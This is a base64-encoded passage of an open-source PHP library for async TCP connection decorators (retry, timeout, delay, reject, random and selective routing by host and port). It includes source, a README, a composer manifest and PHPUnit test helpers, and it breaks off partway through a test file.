CAgICAgICAgJHBiID0gJHRhcmdldHNbJGJdWydwcmlvcml0eSddOwogICAgICAgICAgICByZXR1cm4gKCRwYSA8ICRwYiA/IC0xIDogKCRwYSA+ICRwYiA/IDEgOiAoJGEgLSAkYikpKTsKICAgICAgICB9KTsKCiAgICAgICAgcmV0dXJuICRpZDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0Q29ubmVjdGlvbk1hbmFnZXJFbnRyaWVzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRhcmdldHM7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJlbW92ZUNvbm5lY3Rpb25NYW5hZ2VyRW50cnkoJGlkKQogICAgewogICAgICAgIHVuc2V0KCR0aGlzLT50YXJnZXRzWyRpZF0pOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDb25uZWN0aW9uTWFuYWdlckZvcigkdGFyZ2V0SG9zdCwgJHRhcmdldFBvcnQpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRhcmdldHMgYXMgJHRhcmdldCkgewogICAgICAgICAgICBpZiAoJHRhcmdldFsnbWF0Y2hQb3J0J10oJHRhcmdldFBvcnQpICYmICR0YXJnZXRbJ21hdGNoSG9zdCddKCR0YXJnZXRIb3N0KSkgewogICAgICAgICAgICAgICAgcmV0dXJuICR0YXJnZXRbJ2Nvbm5lY3Rpb25NYW5hZ2VyJ107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgdGhyb3cgbmV3IFVuZGVyZmxvd0V4Y2VwdGlvbignTm8gY29ubmVjdGlvbiBtYW5hZ2VyIGZvciBnaXZlbiB0YXJnZXQgZm91bmQnKTsKICAgIH0KCiAgICAvLyAqCiAgICAvLyBzaW5nbGVQb3J0CiAgICAvLyBzdGFydFBvcnQgLSB0YXJnZXRQb3J0CiAgICAvLyBwb3J0MSwgcG9ydDIsIHBvcnQzCiAgICAvLyBzdGFydFBvcnQgLSB0YXJnZXRQb3J0LCBwb3J0QWRkaXRpb25hbAogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZU1hdGNoZXJQb3J0KCRwYXR0ZXJuKQogICAgewogICAgICAgIGlmICgkcGF0dGVybiA9PT0gc2VsZjo6TUFUQ0hfQUxMKSB7CiAgICAgICAgICAgIHJldHVybiBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9OwogICAgICAgIH0gZWxzZSBpZiAoc3RycG9zKCRwYXR0ZXJuLCAnLCcpICE9PSBmYWxzZSkgewogICAgICAgICAgICAkY2hlY2tzID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoZXhwbG9kZSgnLCcsICRwYXR0ZXJuKSBhcyAkcGFydCkgewogICAgICAgICAgICAgICAgJGNoZWNrcyBbXT0gJHRoaXMtPmNyZWF0ZU1hdGNoZXJQb3J0KHRyaW0oJHBhcnQpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZnVuY3Rpb24gKCRwb3J0KSB1c2UgKCRjaGVja3MpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjaGVja3MgYXMgJGNoZWNrKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRjaGVjaygkcG9ydCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9OwogICAgICAgIH0gZWxzZSBpZiAocHJlZ19tYXRjaCgnL14oXGQrKSQvJywgJHBhdHRlcm4sICRtYXRjaCkpIHsKICAgICAgICAgICAgJHNpbmdsZSA9ICR0aGlzLT5jb2VyY2VQb3J0KCRtYXRjaFsxXSk7CiAgICAgICAgICAgIHJldHVybiBmdW5jdGlvbiAoJHBvcnQpIHVzZSAoJHNpbmdsZSkgewogICAgICAgICAgICAgICAgcmV0dXJuICgkcG9ydCA9PSAkc2luZ2xlKTsKICAgICAgICAgICAgfTsKICAgICAgICB9IGVsc2UgaWYgKHByZWdfbWF0Y2goJy9eKFxkKylccypcLVxzKihcZCspJC8nLCAkcGF0dGVybiwgJG1hdGNoKSkgewogICAgICAgICAgICAkc3RhcnQgPSAkdGhpcy0+Y29lcmNlUG9ydCgkbWF0Y2hbMV0pOwogICAgICAgICAgICAkZW5kICAgPSAkdGhpcy0+Y29lcmNlUG9ydCgkbWF0Y2hbMl0pOwogICAgICAgICAgICBpZiAoJHN0YXJ0ID49ICRlbmQpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oJ0ludmFsaWQgcG9ydCByYW5nZSBnaXZlbicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmdW5jdGlvbigkcG9ydCkgdXNlICgkc3RhcnQsICRlbmQpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHBvcnQgPj0gJHN0YXJ0ICYmICRwb3J0IDw9ICRlbmQpOwogICAgICAgICAgICB9OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICB0aHJvdyBuZXcgSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uKCdJbnZhbGlkIHBvcnQgbWF0Y2hlciBnaXZlbicpOwogICAgICAgIH0KICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIGNvZXJjZVBvcnQoJHBvcnQpCiAgICB7CiAgICAgICAgLy8gVE9ETzogY2hlY2sgMC02NTUzNQogICAgICAgIHJldHVybiAoaW50KSRwb3J0OwogICAgfQoKICAgIC8vICoKICAgIC8vIHRhcmdldEhvc3RuYW1lCiAgICAvLyB0YXJnZXRJcAogICAgLy8gdGFyZ2V0SG9zdG5hbWUsIG90aGVyVGFyZ2V0SG9zdG5hbWUsIGFub3RoZXJUYXJnZXRIb3N0bmFtZQogICAgLy8gVE9ETzogdGFyZ2V0SXAvbmV0bWFza051bQogICAgLy8gVE9ETzogdGFyZ2V0SXAvbmV0bWFza0lwCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlTWF0Y2hlckhvc3QoJHBhdHRlcm4pCiAgICB7CiAgICAgICAgaWYgKCRwYXR0ZXJuID09PSBzZWxmOjpNQVRDSF9BTEwpIHsKICAgICAgICAgICAgcmV0dXJuIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH07CiAgICAgICAgfSBlbHNlIGlmIChzdHJwb3MoJHBhdHRlcm4sICcsJykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRjaGVja3MgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoIChleHBsb2RlKCcsJywgJHBhdHRlcm4pIGFzICRwYXJ0KSB7CiAgICAgICAgICAgICAgICAkY2hlY2tzIFtdPSAkdGhpcy0+Y3JlYXRlTWF0Y2hlckhvc3QodHJpbSgkcGFydCkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmdW5jdGlvbiAoJGhvc3QpIHVzZSAoJGNoZWNrcykgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGNoZWNrcyBhcyAkY2hlY2spIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGNoZWNrKCRob3N0KSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH07CiAgICAgICAgfSBlbHNlIGlmIChpc19zdHJpbmcoJHBhdHRlcm4pKSB7CiAgICAgICAgICAgICRwYXR0ZXJuID0gc3RydG9sb3dlcigkcGF0dGVybik7CiAgICAgICAgICAgIHJldHVybiBmdW5jdGlvbigkdGFyZ2V0KSB1c2UgKCRwYXR0ZXJuKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZm5tYXRjaCgkcGF0dGVybiwgc3RydG9sb3dlcigkdGFyZ2V0KSk7CiAgICAgICAgICAgIH07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgdGhyb3cgbmV3IEludmFsaWRBcmd1bWVudEV4Y2VwdGlvbignSW52YWxpZCBob3N0IG1hdGNoZXIgZ2l2ZW4nKTsKICAgICAgICB9CiAgICB9Cn0KIyBjbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYSBbIVtCdWlsZCBTdGF0dXNdKGh0dHBzOi8vdHJhdmlzLWNpLm9yZy9jbHVlL3BocC1jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEuc3ZnP2JyYW5jaD1tYXN0ZXIpXShodHRwczovL3RyYXZpcy1jaS5vcmcvY2x1ZS9waHAtY29ubmVjdGlvbi1tYW5hZ2VyLWV4dHJhKQoKVGhpcyBwcm9qZWN0IHByb3ZpZGVzIF9leHRyYV8gKGluIHRlcm1zIG9mICJhZGRpdGlvbmFsIiwgImV4dHJhb3JkaW5hcnkiLCAic3BlY2lhbCIgYW5kICJ1bnVzdWFsIikgZGVjb3JhdG9ycwpidWlsdCB1cG9uIFtyZWFjdC9zb2NrZXQtY2xpZW50XShodHRwczovL2dpdGh1Yi5jb20vcmVhY3RwaHAvc29ja2V0LWNsaWVudCkuCgojIyBJbnRyb2R1Y3Rpb24KCklmIHlvdSdyZSBub3QgYWxyZWFkeSBmYW1pbGFyIHdpdGggW3JlYWN0L3NvY2tldC1jbGllbnRdKGh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9zb2NrZXQtY2xpZW50KSwKdGhpbmsgb2YgaXQgYXMgYW4gYXN5bmMgKG5vbi1ibG9ja2luZykgdmVyc2lvbiBvZiBbYGZzb2Nrb3BlbigpYF0oaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLmZzb2Nrb3Blbi5waHApCm9yIFtgc3RyZWFtX3NvY2tldF9jbGllbnQoKWBdKGh0dHA6Ly9waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5zdHJlYW0tc29ja2V0LWNsaWVudC5waHApLgpJLmUuIGJlZm9yZSB5b3UgY2FuIHNlbmQgYW5kIHJlY2VpdmUgZGF0YSB0by9mcm9tIGEgcmVtb3RlIHNlcnZlciwgeW91IGZpcnN0IGhhdmUgdG8gZXN0YWJsaXNoIGEgY29ubmVjdGlvbiAtIHdoaWNoCnRha2VzIGl0cyB0aW1lIGJlY2F1c2UgaXQgaW52b2x2ZXMgc2V2ZXJhbCBzdGVwcy4KSW4gb3JkZXIgdG8gYmUgYWJsZSB0byBlc3RhYmxpc2ggc2V2ZXJhbCBjb25uZWN0aW9ucyBhdCB0aGUgc2FtZSB0aW1lLCBbcmVhY3Qvc29ja2V0LWNsaWVudF0oaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL3NvY2tldC1jbGllbnQpIHByb3ZpZGVzIGEgc2ltcGxlCkFQSSB0byBlc3RhYmxpc2ggc2ltcGxlIGNvbm5lY3Rpb25zIGluIGFuIGFzeW5jIChub24tYmxvY2tpbmcpIHdheS4KClRoaXMgcHJvamVjdCBpbmNsdWRlcyBzZXZlcmFsIGNsYXNzZXMgdGhhdCBleHRlbmQgdGhpcyBiYXNlIGZ1bmN0aW9uYWxpdHkgYnkgaW1wbGVtZW50aW5nIHRoZSBzYW1lIHNpbXBsZSBgQ29ubmVjdG9ySW50ZXJmYWNlYC4KVGhpcyBpbnRlcmZhY2UgcHJvdmlkZXMgYSBzaW5nbGUgcHJvbWlzZS1iYXNlZCBtZXRob2QgYGNyZWF0ZSgkaG9zdCwgJGlwKWAgd2hpY2ggY2FuIGJlIHVzZWQgdG8gZWFzaWx5IG5vdGlmeQp3aGVuIHRoZSBjb25uZWN0aW9uIGlzIHN1Y2Nlc3NmdWxseSBlc3RhYmxpc2hlZCBvciB0aGUgYENvbm5lY3RvcmAgZ2l2ZXMgdXAgYW5kIHRoZSBjb25uZWN0aW9uIGZhaWxzLgoKYGBgcGhwCiRjb25uZWN0b3ItPmNyZWF0ZSgnd3d3Lmdvb2dsZS5jb20nLCA4MCktPnRoZW4oZnVuY3Rpb24gKCRzdHJlYW0pIHsKICAgIGVjaG8gJ2Nvbm5lY3Rpb24gc3VjY2Vzc2Z1bGx5IGVzdGFibGlzaGVkJzsKICAgICRzdHJlYW0tPndyaXRlKCJHRVQgLyBIVFRQLzEuMFxyXG5Ib3N0OiB3d3cuZ29vZ2xlLmNvbVxyXG5cclxuIik7CiAgICAkc3RyZWFtLT5lbmQoKTsKfSwgZnVuY3Rpb24gKCRleGNlcHRpb24pIHsKICAgIGVjaG8gJ2Nvbm5lY3Rpb24gYXR0ZW1wdCBmYWlsZWQ6ICcgLiAkZXhjZXB0aW9uLT5nZXRNZXNzYWdlKCk7Cn0pOwoKYGBgCgpCZWNhdXNlIGV2ZXJ5dGhpbmcgdXNlcyB0aGUgc2FtZSBzaW1wbGUgQVBJLCB0aGUgcmVzdWx0aW5nIGBDb25uZWN0b3JgIGNsYXNzZXMgY2FuIGJlIGVhc2lseSBpbnRlcmNoYW5nZWQKYW5kIGJlIHVzZWQgaW4gcGxhY2VzIHRoYXQgZXhwZWN0IHRoZSBub3JtYWwgYENvbm5lY3RvckludGVyZmFjZWAuIFRoaXMgY2FuIGJlIHVzZWQgdG8gc3RhY2sgdGhlbSBpbnRvIGVhY2ggb3RoZXIsCmxpa2UgdXNpbmcgW3RpbWVvdXRzXSgjdGltZW91dCkgZm9yIFRDUCBjb25uZWN0aW9ucywgW2RlbGF5aW5nXSgjZGVsYXkpIFNTTC9UTFMgY29ubmVjdGlvbnMsCltyZXRyeWluZ10oI3JlcGVhdGluZy0tcmV0cnlpbmcpIGZhaWxlZCBjb25uZWN0aW9uIGF0dGVtcHMsIFtyYW5kb21seV0oI3JhbmRvbSkgcGlja2luZyBhIGBDb25uZWN0b3JgIG9yCmFueSBjb21iaW5hdGlvbiB0aGVyZW9mLgoKIyMgVXNhZ2UKClRoaXMgc2VjdGlvbiBsaXN0cyBhbGwgdGhpcyBsaWJyYXJpZXMnIGZlYXR1cmVzIGFsb25nIHdpdGggc29tZSBleGFtcGxlcy4KVGhlIGV4YW1wbGVzIGFzc3VtZSB5b3UndmUgW2luc3RhbGxlZF0oI2luc3RhbGwpIHRoaXMgbGlicmFyeSBhbmQKYWxyZWFkeSBbc2V0IHVwIGEgYFNvY2tldENsaWVudC9Db25uZWN0b3JgIGluc3RhbmNlIGAkY29ubmVjdG9yYF0oaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL3NvY2tldC1jbGllbnQjYXN5bmMtdGNwaXAtY29ubmVjdGlvbnMpLgoKQWxsIGNsYXNzZXMgYXJlIGxvY2F0ZWQgaW4gdGhlIGBDb25uZWN0aW9uTWFuYWdlclxFeHRyYWAgbmFtZXNwYWNlLgoKIyMjIFJlcGVhdAoKVGhlIGBDb25uZWN0aW9uTWFuYWdlclJlcGVhdCgkY29ubmVjdG9yLCAkcmVwZWF0KWAgcmV0cmllcyBjb25uZWN0aW5nIHRvIHRoZSBnaXZlbiBsb2NhdGlvbiB1cCB0byBhIG1heGltdW0Kb2YgYCRyZXBlYXRgIHRpbWVzIHdoZW4gdGhlIGNvbm5lY3Rpb24gZmFpbHMuCgpgYGBwaHAKJGNvbm5lY3RvclJlcGVhdGVyID0gbmV3IFxDb25uZWN0aW9uTWFuYWdlclxFeHRyYVxDb25uZWN0aW9uTWFuYWdlclJlcGVhdCgkY29ubmVjdG9yLCAzKTsKJGNvbm5lY3RvclJlcGVhdGVyLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgODApLT50aGVuKGZ1bmN0aW9uICgkc3RyZWFtKSB7CiAgICBlY2hvICdjb25uZWN0aW9uIHN1Y2Nlc3NmdWxseSBlc3RhYmxpc2hlZCc7CiAgICAkc3RyZWFtLT5jbG9zZSgpOwp9KTsKYGBgCgojIyMgVGltZW91dAoKVGhlIGBDb25uZWN0aW9uTWFuYWdlclRpbWVvdXQoJGNvbm5lY3RvciwgJHRpbWVvdXQpYCBzZXRzIGEgbWF4aW11bSBgJHRpbWVvdXRgIGluIHNlY29uZHMgb24gd2hlbiB0byBnaXZlIHVwCndhaXRpbmcgZm9yIHRoZSBjb25uZWN0aW9uIHRvIGNvbXBsZXRlLgoKIyMjIERlbGF5CgpUaGUgYENvbm5lY3Rpb25NYW5hZ2VyRGVsYXkoJGNvbm5lY3RvciwgJGRlbGF5KWAgc2V0cyBhIGZpeGVkIGluaXRpYWwgYCRkZWxheWAgaW4gc2Vjb25kcyBiZWZvcmUgYWN0dWFsbHkKdHJ5aW5nIHRvIGNvbm5lY3QuIChOb3QgdG8gYmUgY29uZnVzZWQgd2l0aCBbYENvbm5lY3Rpb25NYW5hZ2VyVGltZW91dGBdKCN0aW1lb3V0KSB3aGljaCBzZXRzIGEgX21heGltdW0gdGltZW91dF8uKQoKIyMjIFJlamVjdAoKVGhlIGBDb25uZWN0aW9uTWFuYWdlclJlamVjdCgpYCBzaW1wbHkgcmVqZWN0cyBldmVyeSBzaW5nbGUgY29ubmVjdGlvbiBhdHRlbXB0LgpUaGlzIGlzIHBhcnRpY3VsYXJseSB1c2VmdWwgZm9yIHRoZSBiZWxvdyBbYENvbm5lY3Rpb25NYW5hZ2VyU2VsZWN0aXZlYF0oI3NlbGVjdGl2ZSkgdG8gcmVqZWN0IGNvbm5lY3Rpb24gYXR0ZW1wdHMKdG8gb25seSBjZXJ0YWluIGRlc3RpbmF0aW9ucyAoZm9yIGV4YW1wbGUgYmxvY2tpbmcgYWR2ZXJ0aXNlbWVudHMgb3IgaGFybWZ1bCBzaXRlcykuCgojIyMgU3dhcHBhYmxlCgpUaGUgYENvbm5lY3Rpb25NYW5hZ2VyU3dhcHBhYmxlKCRjb25uZWN0b3IpYCBpcyBhIHNpbXBsZSBkZWNvcmF0b3IgZm9yIG90aGVyIGBDb25uZWN0aW9uTWFuYWdlcmBzIHRvCnNpbXBsaWZ5IGV4Y2hhbmdpbmcgdGhlIGFjdHVhbCBgQ29ubmVjdGlvbk1hbmFnZXJgIGR1cmluZyBydW50aW1lIChgLT5zZXRDb25uZWN0aW9uTWFuYWdlcigkY29ubmVjdG9yKWApLgoKIyMjIENvbnNlY3V0aXZlCgpUaGUgYENvbm5lY3Rpb25NYW5hZ2VyQ29uc2VjdXRpdmUoJGNvbm5lY3RvcnMpYCBlc3RhYmxpc2hzIGNvbm5lY3Rpb25zIGJ5IHRyeWluZyB0byBjb25uZWN0IHRocm91Z2gKYW55IG9mIHRoZSBnaXZlbiBgQ29ubmVjdGlvbk1hbmFnZXJgcyBpbiBjb25zZWN1dGl2ZSBvcmRlciB1bnRpbCB0aGUgZmlyc3Qgb25lIHN1Y2NlZWRzLgoKIyMjIFJhbmRvbQoKVGhlIGBDb25uZWN0aW9uTWFuYWdlclJhbmRvbSgkY29ubmVjdG9ycylgIHdvcmtzIG11Y2ggbGlrZSBgQ29ubmVjdGlvbk1hbmFnZXJDb25zZWN1dGl2ZWAgYnV0IGluc3RlYWQKb2YgdXNpbmcgYSBmaXhlZCBvcmRlciwgaXQgYWx3YXlzIHVzZXMgYSByYW5kb21seSBzaHVmZmxlZCBvcmRlci4KCiMjIyBTZWxlY3RpdmUKClRoZSBgQ29ubmVjdGlvbk1hbmFnZXJTZWxlY3RpdmUoKWAgbWFuYWdlcyBzZXZlcmFsIGBDb25uZWN0b3JgcyBhbmQgZm9yd2FyZHMgY29ubmVjdGlvbiB0aHJvdWdoIGVpdGhlciBvZgp0aG9zZSBiZXNlZCBvbiBsaXN0cyBzaW1pbGFyIHRvIHRvIGZpcmV3YWxsIG9yIG5ldHdvcmtpbmcgYWNjZXNzIGNvbnRyb2wgbGlzdHMgKEFDTHMpLgoKVGhpcyBhbGxvd3MgZmluZS1ncmFpbmVkIGNvbnRyb2wgb24gaG93IHRvIGhhbmRsZSBvdXRnb2luZyBjb25uZWN0aW9ucywgbGlrZSByZWplY3RpbmcgYWR2ZXJ0aXNlbWVudHMsCmRlbGF5aW5nIEhUVFAgcmVxdWVzdHMsIG9yIGZvcndhcmRpbmcgSFRUUFMgY29ubmVjdGlvbiB0aHJvdWdoIGEgZm9yZWlnbiBjb3VudHJ5LgoKYGBgcGhwCiRjb25uZWN0b3JTZWxlY3RpdmUtPmFkZENvbm5lY3Rpb25NYW5hZ2VyRm9yKCRjb25uZWN0b3IsICR0YXJnZXRIb3N0LCAkdGFyZ2V0UG9ydCwgJHByaW9yaXR5KTsKYGBgCgojIyBJbnN0YWxsCgpUaGUgcmVjb21tZW5kZWQgd2F5IHRvIGluc3RhbGwgdGhpcyBsaWJyYXJ5IGlzIFt0aHJvdWdoIGNvbXBvc2VyXShodHRwOi8vZ2V0Y29tcG9zZXIub3JnKS4gW05ldyB0byBjb21wb3Nlcj9dKGh0dHA6Ly9nZXRjb21wb3Nlci5vcmcvZG9jLzAwLWludHJvLm1kKQoKYGBgSlNPTgp7CiAgICAicmVxdWlyZSI6IHsKICAgICAgICAiY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEiOiAiMC4zLioiCiAgICB9Cn0KYGBgCgojIyBMaWNlbnNlCgpNSVQKewogICAgIm5hbWUiOiAiY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEiLAogICAgICJkZXNjcmlwdGlvbiI6ICJFeHRyYSBkZWNvcmF0b3JzIGZvciBjcmVhdGluZyBhc3luYyBUQ1AvSVAgY29ubmVjdGlvbnMgYnVpbHQgdXBvbiByZWFjdC9zb2NrZXQtY2xpZW50IiwKICAgICJrZXl3b3JkcyI6IFsiU29ja2V0Q2xpZW50IiwgIm5ldHdvcmsiLCAiY29ubmVjdGlvbiIsICJ0aW1lb3V0IiwgImRlbGF5IiwgInJlamVjdCIsICJyZXBlYXQiLCAicmV0cnkiLCAicmFuZG9tIiwgImFjbCIsICJmaXJld2FsbCJdLAogICAgImhvbWVwYWdlIjogImh0dHBzOi8vZ2l0aHViLmNvbS9jbHVlL3BocC1jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEiLAogICAgImxpY2Vuc2UiOiAiTUlUIiwKICAgICJhdXRob3JzIjogWwogICAgICAgIHsKICAgICAgICAgICAgIm5hbWUiOiAiQ2hyaXN0aWFuIEzDvGNrIiwKICAgICAgICAgICAgImVtYWlsIjogImNocmlzdGlhbkBsdWVjay50diIKICAgICAgICB9CiAgICBdLAogICAgImF1dG9sb2FkIjogewogICAgICAgICJwc3ItNCI6IHsiQ29ubmVjdGlvbk1hbmFnZXJcXEV4dHJhXFwiOiAic3JjIn0KICAgIH0sCiAgICAicmVxdWlyZSI6IHsKICAgICAgICAicGhwIjogIj49NS4zIiwKICAgICAgICAicmVhY3Qvc29ja2V0LWNsaWVudCI6ICIwLjMuKnwwLjQuKiIsCiAgICAgICAgInJlYWN0L2V2ZW50LWxvb3AiOiAiMC4zLip8MC40LioiLAogICAgICAgICJyZWFjdC9wcm9taXNlIjogIn4xLjB8fjIuMCIKICAgIH0KfQo8P3BocAoKdXNlIFJlYWN0XFByb21pc2VcRGVmZXJyZWQ7CgpyZXF1aXJlIF9fRElSX18gLiAnLy4uL3ZlbmRvci9hdXRvbG9hZC5waHAnOwoKY2xhc3MgVGVzdENhc2UgZXh0ZW5kcyBQSFBVbml0X0ZyYW1ld29ya19UZXN0Q2FzZQp7CiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZXhwZWN0Q2FsbGFibGVPbmNlKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJyk7CgogICAgICAgIHJldHVybiAkbW9jazsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZXhwZWN0Q2FsbGFibGVOZXZlcigpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5uZXZlcigpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKTsKCiAgICAgICAgcmV0dXJuICRtb2NrOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBleHBlY3RDYWxsYWJsZU9uY2VQYXJhbWV0ZXIoJHR5cGUpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aXNJbnN0YW5jZU9mKCR0eXBlKSk7CgogICAgICAgIHJldHVybiAkbW9jazsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZXhwZWN0Q2FsbGFibGVPbmNlVmFsdWUoJHR5cGUpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aXNJbnN0YW5jZU9mKCR0eXBlKSk7CgogICAgICAgIHJldHVybiAkbW9jazsKICAgIH0KCiAgICAvKioKICAgICAqIEBsaW5rIGh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9yZWFjdC9ibG9iL21hc3Rlci90ZXN0cy9SZWFjdC9UZXN0cy9Tb2NrZXQvVGVzdENhc2UucGhwICh0YWtlbiBmcm9tIHJlYWN0cGhwL3JlYWN0KQogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gY3JlYXRlQ2FsbGFibGVNb2NrKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmdldE1vY2soJ0NhbGxhYmxlU3R1YicpOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBjcmVhdGVDb25uZWN0aW9uTWFuYWdlck1vY2soJHJldCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5nZXRNb2NrQnVpbGRlcignUmVhY3RcU29ja2V0Q2xpZW50XENvbm5lY3RvcicpCiAgICAgICAgICAgIC0+ZGlzYWJsZU9yaWdpbmFsQ29uc3RydWN0b3IoKQogICAgICAgICAgICAtPmdldE1vY2soKTsKCiAgICAgICAgJGRlZmVycmVkID0gbmV3IERlZmVycmVkKCk7CiAgICAgICAgJGRlZmVycmVkLT5yZXNvbHZlKCRyZXQpOwoKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPmFueSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnY3JlYXRlJykKICAgICAgICAgICAgLT53aWxsKCR0aGlzLT5yZXR1cm5WYWx1ZSgkZGVmZXJyZWQtPnByb21pc2UoKSkpOwoKICAgICAgICByZXR1cm4gJG1vY2s7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFzc2VydFByb21pc2VSZXNvbHZlKCRwcm9taXNlKQogICAgewogICAgICAgICR0aGlzLT5hc3NlcnRJbnN0YW5jZU9mKCdSZWFjdFxQcm9taXNlXFByb21pc2VJbnRlcmZhY2UnLCAkcHJvbWlzZSk7CgogICAgICAgICRwcm9taXNlLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU9uY2UoKSwgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSk7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFzc2VydFByb21pc2VSZWplY3QoJHByb21pc2UpCiAgICB7CiAgICAgICAgJHRoaXMtPmFzc2VydEluc3RhbmNlT2YoJ1JlYWN0XFByb21pc2VcUHJvbWlzZUludGVyZmFjZScsICRwcm9taXNlKTsKCiAgICAgICAgJHByb21pc2UtPnRoZW4oJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwgJHRoaXMtPmV4cGVjdENhbGxhYmxlT25jZSgpKTsKICAgIH0KfQoKY2xhc3MgQ2FsbGFibGVTdHViCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgpCiAgICB7CiAgICB9Cn0KPD9waHAKCgp1c2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmFcQ29ubmVjdGlvbk1hbmFnZXJEZWxheTsKCmNsYXNzIENvbm5lY3Rpb25NYW5hZ2VyRGVsYXlUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgcHVibGljIGZ1bmN0aW9uIHNldFVwKCkKICAgIHsKICAgICAgICAkdGhpcy0+bG9vcCA9IFJlYWN0XEV2ZW50TG9vcFxGYWN0b3J5OjpjcmVhdGUoKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdERlbGF5VGVudGgoKQogICAgewogICAgICAgICR3aWxsID0gJHRoaXMtPmNyZWF0ZUNvbm5lY3Rpb25NYW5hZ2VyTW9jayh0cnVlKTsKICAgICAgICAkY20gPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJEZWxheSgkd2lsbCwgJHRoaXM